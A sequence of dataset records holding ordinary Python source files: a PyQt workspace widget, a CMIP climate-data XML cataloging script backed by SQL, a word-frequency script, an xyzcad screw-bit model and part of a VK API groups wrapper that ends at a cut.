self.setTabText(i, current_name + '*')\n self.currentWidget().isSaved = False\n\n def add_library(self, file_path):\n # Parses Library file and adds correct info to library list\n\n f = open(file_path)\n lib_index = 0\n lib_name = f.readline().strip('\\n')\n #if lib_name in self.imported_libs:\n # return\n #else:\n # self.imported_libs.append(lib_name)\n # print(self.imported_libs)\n num_of_funcs = int(f.readline())\n lib_path = f.readline().strip('\\n')\n while(lib_index < num_of_funcs):\n num = 1\n temp = \" \"\n new_dict = {}\n new_dict['LibraryPath'] = file_path\n new_dict['FunctionPath'] = lib_path\n new_dict['FunctionName'] = f.readline().replace('#', '')\n new_dict['FunctionName'] = new_dict['FunctionName'].strip('\\n')\n new_dict['FunctionReference'] = f.readline().strip('\\n')\n input_text = f.readline().strip('\\n')\n while input_text[0] == 'i':\n new_dict['Input' + str(num)] = input_text\n num += 1\n input_text = f.readline().strip('\\n')\n num = 1\n while input_text[0] == 'o':\n new_dict['Output' + str(num)] = input_text\n num += 1\n input_text = f.readline().strip('\\n')\n new_dict['ToolTip'] = input_text\n new_dict['IconPath'] = f.readline().strip('\\n')\n for i in range(self.count()):\n if type(self.widget(i)) is DragDropEditor:\n if new_dict not in self.widget(i).libs:\n self.widget(i).libs.append(new_dict)\n\n lib_index += 1\n\n\n\n\n def __init__(self):\n super(Workspace, self).__init__()\n\n # One of the only core components of the workspace itself\n # are the tabs along the top, defined below\n self.setTabsClosable(True)\n self.tabCloseRequested.connect(self.removeTab)\n self.setMovable(True)\n\n # Set up initial tab as \"untitled\" and unsaved\n initial_file = DragDropEditor('untitled.pro')\n self.addTab(initial_file, initial_file.fileName)\n self.save_state_change(False)\n\n # Keep track of the \"untitled\" files\n self.num_of_untitled = 1\n\n # The layout in this widget is incredibly simple: a single window\n layout = QtGui.QGridLayout()\n self.setLayout(layout)\n\n self.show()\n","repo_name":"eelbot/PicoCommander","sub_path":"software/widgets/workspace.py","file_name":"workspace.py","file_ext":"py","file_size_in_byte":7962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8237629376","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nDocumentation for make_cmip5_xml2:\n-----\nCreated on Wed Apr 11 10:59:24 2018\n\nPaul J. Durack and Stephen Po-Chedley 11th April 2018\n\nCommand line usage: \n Help: ./make_cmip5_xml2.py --help\n Example: ./make_cmip5_xml2.py -p 'True' -s 'False' -n 1\n Production: ./make_cmip5_xml2.py -p 'True' -r 'True' -s 'True' -c 'True' -n 20\n Subset: ./make_cmip5_xml2.py -p 'False' -r 'False' -s 'True' -c 'False' -n 20 -m 'historical.mon.tro3'\n\nScript is meant to create xml library in several parts:\n + Find all CMIP5 directory paths \n + Write paths and filesystem datestamps to SQL database\n + Create xmls\n + Running the script subsequently will only update xml files\n that correspond to directories in which the files have been \n modified (using the SQL DB as a reference)\n\n| SP 11 Apr 2018 - Initial outline/functionality of xml processing\n| SP 16 Jun 2018 - Updated library and database, speed improvements, added \n functionality to retire paths\n| SP 20 Sep 2018 - Python 3 ready, argument parsing, various defined scan modes, \n track bad paths in database, parallelized path scanning\n| SP 21 Sep 2018 - added gridlabel code, functionality to include database stats\n\n@author: pochedls\n\"\"\"\n\nimport sys, os\nsys.path.append('lib/')\nimport CMIPLib\nimport time \nimport numpy as np\nfrom joblib import Parallel, delayed\nimport multiprocessing\nimport datetime\nfrom tqdm import tqdm # conda install tqdm\nimport argparse\ntry:\n __IPYTHON__\nexcept NameError:\n INIPYTHON = False\nelse:\n INIPYTHON = True\n\nprint('Started on: ', time.ctime()) # start time for reference\nprint()\nt00 = time.time() # time whole script\n\n# function to parse boolean\ndef str2bool(v):\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n\nif INIPYTHON == False: # Look for cmd line arguments if we are NOT in Ipython\n\n parser = argparse.ArgumentParser()\n\n # Optional arguments\n parser.add_argument('-p', '--updatePaths', type=str2bool,\n default=True,\n help=\"Flag (TRUE/FALSE) to update SQL database (default is TRUE)\")\n parser.add_argument('-s', '--updateScans', type=str2bool,\n default=True,\n help=\"Flag (TRUE/FALSE) to run cdscan (default is TRUE)\") \n parser.add_argument('-out', '--xmlOutputDir', type=str,\n default = '/work/cmip-dyn/',\n help=\"Base output directory for xml files (default /work/cmip-dyn/)\")\n parser.add_argument('-n', '--numProcessors', type=int,\n default = 20,\n help=\"Number of processors for creating xml files (default 20)\")\n parser.add_argument('-l', '--lastTouch', type=int,\n default = 24,\n help=\"Number of hours since a directory was modified to process it\") \n parser.add_argument('-c', '--countStats', type=str2bool,\n default = False,\n help=\"Boolean to record statistics on xml database\") \n parser.add_argument('-r', '--retirePaths', type=str2bool,\n default = True,\n help=\"Boolean to look for paths that no longer exist\") \n parser.add_argument('-m', '--mode', type=str,\n default = '',\n help=\"Mode to specify the what to cdscan:\\\n experiment.frequency.variable\")\n\n args = parser.parse_args()\n\n updatePaths = args.updatePaths\n updateScans = args.updateScans\n xmlOutputDir = args.xmlOutputDir\n numProcessors = args.numProcessors\n lastTouch = args.lastTouch\n countStats = args.countStats\n mode = args.mode\n retirePaths = args.retirePaths\n\nelse:\n retirePaths = True\n updatePaths = False\n updateScans = True\n xmlOutputDir = '/work/cmip-dyn/'\n numProcessors = 20\n lastTouch = 24\n countStats = True\n mode = ''\n\n# Define search directories\ndata_directories = ['/p/css03/cmip5_css01/data/cmip5/output1/', '/p/css03/cmip5_css01/data/cmip5/output2/',\n '/p/css03/cmip5_css02/data/cmip5/output1/', '/p/css03/cmip5_css02/data/cmip5/output2/', \n '/p/css03/scratch/cmip5/', '/p/css03/scratch/published-latest/cmip5/',\n '/p/css03/scratch/published-latest/cmip5/cmip5_css01/scratch/cmip5/',\n '/p/css03/scratch/published-older/cmip5/', '/p/css03/scratch/should-publish/cmip5/',\n '/p/css03/scratch/unknown-dset/cmip5/', '/p/css03/scratch/unknown-status/cmip5/',\n '/p/css03/scratch/obsolete/cmip5/', '/p/css03/esgf_publish/cmip5/', \n '/p/css03/esgf_publish/CMIP6/CMIP/', '/p/css03/scratch/cmip6/']\n\n\nvar_in = ['snc','snd','snw','tpf','pflw', 'sic','sim','sit','snc','snd', 'agessc','cfc11','dissic','evs','ficeberg',\\\n 'friver','hfds','hfls','hfss','mfo','mlotst','omlmax','ph','pr','rlds', 'rhopoto','rsds','sfriver','so','soga',\\\n 'sos','tauuo','tauvo','thetao','thetaoga','tos','uo','vo','vsf','vsfcorr', 'vsfevap','vsfpr','vsfriver','wfo',\\\n 'wfonocorr','zos','zostoga', 'cropfrac','evspsblsoi','evspsblveg','gpp','lai','mrfso','mrro','mrros','mrso',\\\n 'mrsos','tran','tsl', 'areacella','areacello','basin','deptho','mrsofc','orog','sftgif','sftlf','sftof','volcello', \\\n 'cl','clcalipso','cli','clisccp','clivi','clt','clw','clwvi','evspsbl','hfls','hfss','hur','hurs', 'hus','huss',\\\n 'mc','pr','prc','prsn','prw','ps','psl','rlds','rldscs','rlus','rluscs','rlut', 'rlutcs','rsds','rsdscs','rsdt',\\\n 'rsus','rsuscs','rsut','rsutcs','sbl','sci','sfcWind', 'ta','tas','tasmax','tasmin','tauu','tauv','ts','ua','uas',\\\n 'va','vas','wap','zg'] \n\ntemporal = ['fx','mon']\n\nexps = ['1pctCO2','abrupt4xCO2','amip','amip4K','amip4xCO2','amipFuture','historical','historicalExt', \\\n 'historicalGHG','historicalMisc','historicalNat','past1000','piControl','rcp26','rcp45','rcp60',\\\n 'rcp85', 'sstClim','sstClim4xCO2']\n\nif mode.find('.') >= 0:\n x = mode.split('.')\n if x[0] != '*':\n exps = [x[0]]\n temporal = [x[1]]\n if x[2] != '*':\n var_in = [x[2]]\n\n# for testing\n# data_directories = ['/p/css03/cmip5_css02/data/cmip5/output2/', '/p/css03/scratch/cmip5/', '/p/css03/esgf_publish/CMIP6/CMIP/']\n# CMIPLib.updateSqlDb('/p/css03/cmip5_css02/data/cmip5/output1/NCAR/CCSM4/past1000/mon/atmos/Amon/r1i1p1/')\n# CMIPLib.updateSqlDb('/p/css03/esgf_publish/CMIP6/CMIP/')\n# q = \"select path from paths where variable = \\'tas\\';\"\n# queryResult = CMIPLib.sqlQuery(q)\n# dirs_to_scan = list(queryResult[:,0])\n# for path in dirs_to_scan:\n# print(path)\n# CMIPLib.process_path(xmlOutputDir, path)\n\nif retirePaths:\n print('Checking for retired directories...')\n print('Started on: ', time.ctime(), end='\\n \\n') # start time for reference\n q = 'select path, xmlFile from paths where xmlFile is not NULL and xmlFile != \\'None\\' and retired = 0;'\n queryResult = CMIPLib.sqlQuery(q)\n for i in range(len(queryResult)):\n p = queryResult[i][0]\n f = queryResult[i][1]\n if not os.path.exists(p):\n # remove from database\n CMIPLib.retireDirectory(p)\n # delete xml file\n if os.path.exists(f):\n os.system('rm ' + f)\n\nif updatePaths:\n # grab the right number of processors\n if len(data_directories) > numProcessors:\n nfscan = numProcessors\n else:\n nfscan = len(data_directories)\n print('Using ' + str(nfscan) + ' processors to check directories...', end='\\n \\n')\n results = Parallel(n_jobs=nfscan)(delayed(CMIPLib.updateSqlDb)(parent)\\\n for (parent) in data_directories)\n # print results\n headers = ['New', 'Modified', 'Ignored', 'New written', 'Updated']\n matrix = np.zeros((len(results), len(headers)))\n for i, row in enumerate(results):\n print(row[0])\n for j in range(len(headers)):\n print(' ' + headers[j] + ': ' + str(row[j + 1]), end='')\n matrix[i, j] = row[j + 1]\n print()\n msum = np.sum(matrix, axis=0)\n print('Total')\n for j in range(len(headers)):\n print(' ' + headers[j] + ': ' + str(int(msum[j])), end='')\n\n # print timing\n t1 = time.time()\n total = t1-t00\n print(end='\\n \\n'); \n print(str(int(total)) + ' seconds.', end='\\n \\n');\n\n\n\n# change input lists to strings for query\nvar_in = '\\'' + '\\', \\''.join(var_in) + '\\''\ntemporal = '\\'' + '\\', \\''.join(temporal) + '\\''\nexps = '\\'' + '\\', \\''.join(exps) + '\\''\n# create query \n# q = \"select path from paths where variable in (\" + var_in + \") and experiment in (\" + exps + \") and frequency in (\" + temporal + \") and ((xmlFile is NULL or xmlFile = \\'None\\') or (xmlwritedatetime < modified or xmlwritedatetime is NULL)) and TIMESTAMPDIFF(HOUR, modified, now()) > \" + str(lastTouch) + \" ;\"\n# q = \"select path from paths where variable in (\" + var_in + \") and experiment in (\" + exps + \") and tfreq in (\" + temporal + \") and (xmlFile is NULL);\"\n# used this to run all files with any no write error\n# q = \"select path from paths where variable in (\" + var_in + \") and experiment in (\" + exps + \") and tfreq in (\" + temporal + \") and cdscanerror like 'No write%';\"\n# used this to run no write files\n# q = \"select path from paths where variable in (\" + var_in + \") and experiment in (\" + exps + \") and tfreq in (\" + temporal + \") and cdscanerror = 'No write';\"\n# used this to get newer fgoals-g2 xmls (which have same version number as the old files)\n# q = \"select path from paths where variable in (\" + var_in + \") and experiment=\\'historical\\' and model = \\'FGOALS-g2\\' and tfreq = \\'mon\\' and ((xmlFile is NULL or xmlFile = 'None') or (xmlwritedatetime < modified or xmlwritedatetime is NULL)) and path not like \\'%esgf_publish%\\';\"\n# q = 'select path from paths where mip_era = \\'CMIP6\\';'\nq = \"select path from paths where variable in (\" + var_in + \") and experiment in (\" + exps + \") and frequency in (\" + temporal + \") and ((xmlFile is NULL or xmlFile = \\'None\\') or (xmlwritedatetime < modified or xmlwritedatetime is NULL)) and retired = 0 and (ignored = 0 OR ignored is NULL) and TIMESTAMPDIFF(HOUR, modified, now()) > \" + str(lastTouch) + \" ;\"\nq = \"select path from paths where variable in (\" + var_in + \") and experiment in (\" + exps + \") and frequency in (\" + temporal + \") and ((xmlFile is NULL or xmlFile = \\'\\' or xmlFile = 'None') or (xmlwritedatetime < modified or xmlwritedatetime is NULL)) and retired = 0 and (ignored = 0 OR ignored is NULL) and TIMESTAMPDIFF(HOUR, modified, now()) > \" + str(lastTouch) + \";\"\n\n# q = \"select path from paths where institute = \\'IPSL\\' and variable = \\'tas\\' and member like \\'r1i1p1%\\' and experiment = \\'piControl\\' and model like \\'IPSL-CM%A-LR\\' and frequency = \\'mon\\' and path like \\'%esgf_publish%\\'\";\n\n\n# get directories\nif updateScans:\n # get directories to scan\n print('Getting directories to scan...')\n queryResult = CMIPLib.sqlQuery(q)\n if len(queryResult) > 0:\n dirs_to_scan = list(queryResult[:,0])\n print(str(len(dirs_to_scan)) + ' directories to scan...')\n if len(dirs_to_scan) < numProcessors:\n numProcessors = len(dirs_to_scan)\n print('Using ' + str(numProcessors) + ' processors to scan directories...', end='\\n \\n')\n print('Starting directory scanning...')\n print('Started on: ', time.ctime()) # start time for reference\n results = Parallel(n_jobs=numProcessors)(delayed(CMIPLib.process_path)(xmlOutputDir, inpath)\\\n for (inpath) in tqdm(dirs_to_scan))\n else:\n print('No directories found...')\n\nif countStats:\n print('Writing statistics to database', end='\\n\\n')\n q = []\n q.append(\"INSERT INTO stats (indicator, value, datetime) VALUES (\\'cmip5 directories\\', (select count(*) as n from paths where mip_era = \\'CMIP5\\' and retired=0), now());\")\n q.append(\"INSERT INTO stats (indicator, value, datetime) VALUES (\\'cmip6 directories\\', (select count(*) as n from paths where mip_era = \\'CMIP6\\' and retired=0), now());\")\n q.append(\"INSERT INTO stats (indicator, value, datetime) VALUES (\\'cmip5 xml files\\', (select count(*) as n from paths where mip_era = \\'CMIP5\\' and xmlFile is NOT NULL and xmlFile != 'None' and retired=0), now());\")\n q.append(\"INSERT INTO stats (indicator, value, datetime) VALUES (\\'cmip6 xml files\\', (select count(*) as n from paths where mip_era = \\'CMIP6\\' and xmlFile is NOT NULL and xmlFile != 'None' and retired=0), now());\")\n q.append(\"INSERT INTO stats (indicator, value, datetime) VALUES (\\'undefined vertical grid (cmip5)\\', (select count(*) as n from paths where mip_era = \\'CMIP5\\' and gridLabel like \\'%-%-x-%\\' and retired=0), now());\")\n q.append(\"INSERT INTO stats (indicator, value, datetime) VALUES (\\'undefined vertical grid (cmip6)\\', (select count(*) as n from paths where mip_era = \\'CMIP6\\' and gridLabel like \\'%-%-x-%\\' and retired=0), now());\") \n for query in q:\n queryResult = CMIPLib.sqlInsertQuery(query)\n\nprint('Finished on: ', time.ctime()) # start time for reference\n\n\n\n\n","repo_name":"durack1/CMIPLib","sub_path":"make_cmip5_xml2.py","file_name":"make_cmip5_xml2.py","file_ext":"py","file_size_in_byte":13414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38728994571","text":"import os\nimport math\n\ncorpus_dir = './corpus_f_n/'\n\nfactors = [\n 5,\n 95,\n 1,\n 3,\n 100,\n 2\n]\n\noutput = {}\n\nfor index, filename in enumerate(os.listdir(corpus_dir)):\n with open(corpus_dir+filename, 'r') as f:\n for i, w in enumerate(f, start=2):\n w = w.strip()\n if w in output:\n output[w] += factors[index] / math.log(i)\n else:\n output[w] = factors[index] / math.log(i)\n if i > 1000000:\n break\n\noutput = sorted(output.items(), key=lambda kv: kv[1], reverse=True)\n\n[print(w[0]) for w in output]\n","repo_name":"xdqc/english-corpus-words-frequency","sub_path":"scripts/cocktail.py","file_name":"cocktail.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"25036972581","text":"#!/usr/bin/env python3\n\nfrom xyzcad import render\nfrom numba import jit\nimport math\nimport numpy as np\n\n@jit\ndef screwprofile(x):\n x = x / (2*math.pi)\n return min(max(3*(x if x < 0.5 else 1-x), 0.3), 1.2)\n\n\n@jit\ndef f(x,y,z):\n l = 80\n ra = 5 - 0.2\n\n if z < 0:\n return False\n\n if z < l+1:\n r = (x**2 + y**2)**0.5\n phi = math.atan2(y, x)\n rrel = math.cos(((phi*180/math.pi) %60 -30)/180*math.pi)\n morph = (l -z +1 if z>l else 1) if z > 1 else z\n rrel = rrel * morph + 1.2*(1-morph)\n if r * rrel < ra:\n return True\n\n return False\n\nrender.renderAndSave(f, 'screwbit6.stl', 0.1)\n\n","repo_name":"TheTesla/xyzcad-examples","sub_path":"screwbit6.py","file_name":"screwbit6.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5704571965","text":"from typing import Union\n\nfrom .base import BaseMethod\nfrom vk.types.responses import groups as m\n\n\nclass Groups(BaseMethod):\n async def add_address(\n self,\n group_id: int = None,\n title: str = None,\n address: str = None,\n additional_address: str = None,\n country_id: int = None,\n city_id: int = None,\n metro_id: int = None,\n latitude: Union[int, float] = None,\n longitude: Union[int, float] = None,\n phone: str = None,\n work_info_status: str = None,\n timetable: str = None,\n is_main_address: bool = None,\n ):\n \"\"\"\n\n :param group_id:\n :param title:\n :param address:\n :param additional_address:\n :param country_id:\n :param city_id:\n :param metro_id:\n :param latitude:\n :param longitude:\n :param phone:\n :param work_info_status:\n :param timetable:\n :param is_main_address:\n\n\n \"\"\"\n method = self.get_method_name(self.add_address)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.AddAddress(**r)\n\n async def add_callback_server(\n self,\n group_id: int = None,\n url: str = None,\n title: str = None,\n secret_key: str = None,\n ):\n \"\"\"\n\n :param group_id:\n :param url:\n :param title:\n :param secret_key:\n\n\n \"\"\"\n method = self.get_method_name(self.add_callback_server)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.AddCallbackServer(**r)\n\n async def add_link(\n self, group_id: int = None, link: str = None, text: str = None\n ):\n \"\"\"\n Allow to add a link to the community.\n :param group_id: Community ID.\n :param link: Link URL.\n :param text: Description text for the link.\n\n\n \"\"\"\n method = self.get_method_name(self.add_link)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.AddLink(**r)\n\n async def approve_request(self, group_id: int = None, user_id: int = None):\n \"\"\"\n Allow to approve join request to the community.\n :param group_id: Community ID.\n :param user_id: User ID.\n\n\n \"\"\"\n method = self.get_method_name(self.approve_request)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.ApproveRequest(**r)\n\n async def ban(\n self,\n group_id: int = None,\n owner_id: int = None,\n end_date: int = None,\n reason: int = None,\n comment: str = None,\n comment_visible: bool = None,\n ):\n \"\"\"\n\n :param group_id:\n :param owner_id:\n :param end_date:\n :param reason:\n :param comment:\n :param comment_visible:\n\n\n \"\"\"\n method = self.get_method_name(self.ban)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.Ban(**r)\n\n async def create(\n self,\n title: str = None,\n description: str = None,\n type: str = None,\n public_category: int = None,\n subtype: int = None,\n ):\n \"\"\"\n Create a new community.\n :param title: Community title.\n :param description: Community description (ignored for 'type' = 'public').\n :param type: Community type. Possible values: *'group' – group,, *'event' – event,, *'public' – public page\n :param public_category: Category ID (for 'type' = 'public' only).\n :param subtype: Public page subtype. Possible values: *'1' – place or small business,, *'2' – company, organization or website,, *'3' – famous person or group of people,, *'4' – product or work of art.\n\n\n \"\"\"\n method = self.get_method_name(self.create)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.Create(**r)\n\n async def delete_callback_server(\n self, group_id: int = None, server_id: int = None\n ):\n \"\"\"\n\n :param group_id:\n :param server_id:\n\n\n \"\"\"\n method = self.get_method_name(self.delete_callback_server)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.DeleteCallbackServer(**r)\n\n async def delete_link(self, group_id: int = None, link_id: int = None):\n \"\"\"\n Allow to delete a link from the community.\n :param group_id: Community ID.\n :param link_id: Link ID.\n\n\n \"\"\"\n method = self.get_method_name(self.delete_link)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.DeleteLink(**r)\n\n async def disable_online(self, group_id: int = None):\n \"\"\"\n\n :param group_id:\n\n\n \"\"\"\n method = self.get_method_name(self.disable_online)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.DisableOnline(**r)\n\n async def edit(\n self,\n group_id: int = None,\n title: str = None,\n description: str = None,\n screen_name: str = None,\n access: int = None,\n website: str = None,\n subject: str = None,\n email: str = None,\n phone: str = None,\n rss: str = None,\n event_start_date: int = None,\n event_finish_date: int = None,\n event_group_id: int = None,\n public_category: int = None,\n public_subcategory: int = None,\n public_date: str = None,\n wall: int = None,\n topics: int = None,\n photos: int = None,\n video: int = None,\n audio: int = None,\n links: bool = None,\n events: bool = None,\n places: bool = None,\n contacts: bool = None,\n docs: int = None,\n wiki: int = None,\n messages: bool = None,\n articles: bool = None,\n addresses: bool = None,\n age_limits: int = None,\n market: bool = None,\n market_comments: bool = None,\n market_country: list = None,\n market_city: list = None,\n market_currency: int = None,\n market_contact: int = None,\n market_wiki: int = None,\n obscene_filter: bool = None,\n obscene_stopwords: bool = None,\n obscene_words: list = None,\n main_section: int = None,\n secondary_section: int = None,\n country: int = None,\n city: int = None,\n ):\n \"\"\"\n Edit a community.\n :param group_id: Community ID.\n :param title: Community title.\n :param description: Community description.\n :param screen_name: Community screen name.\n :param access: Community type. Possible values: *'0' – open,, *'1' – closed,, *'2' – private.\n :param website: Website that will be displayed in the community information field.\n :param subject: Community subject. Possible values: , *'1' – auto/moto,, *'2' – activity holidays,, *'3' – business,, *'4' – pets,, *'5' – health,, *'6' – dating and communication, , *'7' – games,, *'8' – IT (computers and software),, *'9' – cinema,, *'10' – beauty and fashion,, *'11' – cooking,, *'12' – art and culture,, *'13' – literature,, *'14' – mobile services and internet,, *'15' – music,, *'16' – science and technology,, *'17' – real estate,, *'18' – news and media,, *'19' – security,, *'20' – education,, *'21' – home and renovations,, *'22' – politics,, *'23' – food,, *'24' – industry,, *'25' – travel,, *'26' – work,, *'27' – entertainment,, *'28' – religion,, *'29' – family,, *'30' – sports,, *'31' – insurance,, *'32' – television,, *'33' – goods and services,, *'34' – hobbies,, *'35' – finance,, *'36' – photo,, *'37' – esoterics,, *'38' – electronics and appliances,, *'39' – erotic,, *'40' – humor,, *'41' – society, humanities,, *'42' – design and graphics.\n :param email: Organizer email (for events).\n :param phone: Organizer phone number (for events).\n :param rss: RSS feed address for import (available only to communities with special permission. Contact vk.com/support to get it.\n :param event_start_date: Event start date in Unixtime format.\n :param event_finish_date: Event finish date in Unixtime format.\n :param event_group_id: Organizer community ID (for events only).\n :param public_category: Public page category ID.\n :param public_subcategory: Public page subcategory ID.\n :param public_date: Founding date of a company or organization owning the community in \"dd.mm.YYYY\" format.\n :param wall: Wall settings. Possible values: *'0' – disabled,, *'1' – open,, *'2' – limited (groups and events only),, *'3' – closed (groups and events only).\n :param topics: Board topics settings. Possbile values: , *'0' – disabled,, *'1' – open,, *'2' – limited (for groups and events only).\n :param photos: Photos settings. Possible values: *'0' – disabled,, *'1' – open,, *'2' – limited (for groups and events only).\n :param video: Video settings. Possible values: *'0' – disabled,, *'1' – open,, *'2' – limited (for groups and events only).\n :param audio: Audio settings. Possible values: *'0' – disabled,, *'1' – open,, *'2' – limited (for groups and events only).\n :param links: Links settings (for public pages only). Possible values: *'0' – disabled,, *'1' – enabled.\n :param events: Events settings (for public pages only). Possible values: *'0' – disabled,, *'1' – enabled.\n :param places: Places settings (for public pages only). Possible values: *'0' – disabled,, *'1' – enabled.\n :param contacts: Contacts settings (for public pages only). Possible values: *'0' – disabled,, *'1' – enabled.\n :param docs: Documents settings. Possible values: *'0' – disabled,, *'1' – open,, *'2' – limited (for groups and events only).\n :param wiki: Wiki pages settings. Possible values: *'0' – disabled,, *'1' – open,, *'2' – limited (for groups and events only).\n :param messages: Community messages. Possible values: *'0' — disabled,, *'1' — enabled.\n :param articles:\n :param addresses:\n :param age_limits: Community age limits. Possible values: *'1' — no limits,, *'2' — 16+,, *'3' — 18+.\n :param market: Market settings. Possible values: *'0' – disabled,, *'1' – enabled.\n :param market_comments: market comments settings. Possible values: *'0' – disabled,, *'1' – enabled.\n :param market_country: Market delivery countries.\n :param market_city: Market delivery cities (if only one country is specified).\n :param market_currency: Market currency settings. Possbile values: , *'643' – Russian rubles,, *'980' – Ukrainian hryvnia,, *'398' – Kazakh tenge,, *'978' – Euro,, *'840' – US dollars\n :param market_contact: Seller contact for market. Set '0' for community messages.\n :param market_wiki: ID of a wiki page with market description.\n :param obscene_filter: Obscene expressions filter in comments. Possible values: , *'0' – disabled,, *'1' – enabled.\n :param obscene_stopwords: Stopwords filter in comments. Possible values: , *'0' – disabled,, *'1' – enabled.\n :param obscene_words: Keywords for stopwords filter.\n :param main_section:\n :param secondary_section:\n :param country: Country of the community.\n :param city: City of the community.\n\n\n \"\"\"\n method = self.get_method_name(self.edit)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.Edit(**r)\n\n async def edit_address(\n self,\n group_id: int = None,\n address_id: int = None,\n title: str = None,\n address: str = None,\n additional_address: str = None,\n country_id: int = None,\n city_id: int = None,\n metro_id: int = None,\n latitude: Union[int, float] = None,\n longitude: Union[int, float] = None,\n phone: str = None,\n work_info_status: str = None,\n timetable: str = None,\n is_main_address: bool = None,\n ):\n \"\"\"\n\n :param group_id:\n :param address_id:\n :param title:\n :param address:\n :param additional_address:\n :param country_id:\n :param city_id:\n :param metro_id:\n :param latitude:\n :param longitude:\n :param phone:\n :param work_info_status:\n :param timetable:\n :param is_main_address:\n\n\n \"\"\"\n method = self.get_method_name(self.edit_address)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.EditAddress(**r)\n\n async def edit_callback_server(\n self,\n group_id: int = None,\n server_id: int = None,\n url: str = None,\n title: str = None,\n secret_key: str = None,\n ):\n \"\"\"\n\n :param group_id:\n :param server_id:\n :param url:\n :param title:\n :param secret_key:\n\n\n \"\"\"\n method = self.get_method_name(self.edit_callback_server)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.EditCallbackServer(**r)\n\n async def edit_link(\n self, group_id: int = None, link_id: int = None, text: str = None\n ):\n \"\"\"\n Allows to edit a link in the community.\n :param group_id: Community ID.\n :param link_id: Link ID.\n :param text: New description text for the link.\n\n\n \"\"\"\n method = self.get_method_name(self.edit_link)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.EditLink(**r)\n\n async def edit_manager(\n self,\n group_id: int = None,\n user_id: int = None,\n role: str = None,\n is_contact: bool = None,\n contact_position: str = None,\n contact_phone: str = None,\n contact_email: str = None,\n ):\n \"\"\"\n Allow to add, remove or edit the community manager.\n :param group_id: Community ID.\n :param user_id: User ID.\n :param role: Manager role. Possible values: *'moderator',, *'editor',, *'administrator'.\n :param is_contact: '1' — to show the manager in Contacts block of the community.\n :param contact_position: Position to show in Contacts block.\n :param contact_phone: Contact phone.\n :param contact_email: Contact e-mail.\n\n\n \"\"\"\n method = self.get_method_name(self.edit_manager)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.EditManager(**r)\n\n async def enable_online(self, group_id: int = None):\n \"\"\"\n\n :param group_id:\n\n\n \"\"\"\n method = self.get_method_name(self.enable_online)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.EnableOnline(**r)\n\n async def get(\n self,\n user_id: int = None,\n extended: bool = None,\n filter: list = None,\n fields: list = None,\n offset: int = None,\n count: int = None,\n ):\n \"\"\"\n Return a list of the communities to which a user belongs.\n :param user_id: User ID.\n :param extended: '1' — to return complete information about a user's communities, '0' — to return a list of community IDs without any additional fields (default),\n :param filter: Types of communities to return: 'admin' — to return communities administered by the user , 'editor' — to return communities where the user is an administrator or editor, 'moder' — to return communities where the user is an administrator, editor, or moderator, 'groups' — to return only groups, 'publics' — to return only public pages, 'events' — to return only events\n :param fields: Profile fields to return.\n :param offset: Offset needed to return a specific subset of communities.\n :param count: Number of communities to return.\n\n\n \"\"\"\n method = self.get_method_name(self.get)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.Get(**r)\n\n async def get_addresses(\n self,\n group_id: int = None,\n address_ids: list = None,\n latitude: Union[int, float] = None,\n longitude: Union[int, float] = None,\n offset: int = None,\n count: int = None,\n fields: list = None,\n ):\n \"\"\"\n Return a list of community addresses.\n :param group_id: ID or screen name of the community.\n :param address_ids:\n :param latitude: Latitude of the user geo position.\n :param longitude: Longitude of the user geo position.\n :param offset: Offset needed to return a specific subset of community addresses.\n :param count: Number of community addresses to return.\n :param fields: Address fields\n\n\n \"\"\"\n method = self.get_method_name(self.get_addresses)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetAddresses(**r)\n\n async def get_banned(\n self,\n group_id: int = None,\n offset: int = None,\n count: int = None,\n fields: list = None,\n owner_id: int = None,\n ):\n \"\"\"\n Return a list of users on a community blacklist.\n :param group_id: Community ID.\n :param offset: Offset needed to return a specific subset of users.\n :param count: Number of users to return.\n :param fields:\n :param owner_id:\n\n\n \"\"\"\n method = self.get_method_name(self.get_banned)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetBanned(**r)\n\n async def get_by_id(\n self, group_ids: list = None, group_id: str = None, fields: list = None\n ):\n \"\"\"\n Return information about communities by their IDs.\n :param group_ids: IDs or screen names of communities.\n :param group_id: ID or screen name of the community.\n :param fields: Group fields to return.\n\n\n \"\"\"\n method = self.get_method_name(self.get_by_id)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetById(**r)\n\n async def get_callback_confirmation_code(self, group_id: int = None):\n \"\"\"\n Return Callback API confirmation code for the community.\n :param group_id: Community ID.\n\n\n \"\"\"\n method = self.get_method_name(self.get_callback_confirmation_code)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetCallbackConfirmationCode(**r)\n\n async def get_callback_servers(\n self, group_id: int = None, server_ids: list = None\n ):\n \"\"\"\n\n :param group_id:\n :param server_ids:\n\n\n \"\"\"\n method = 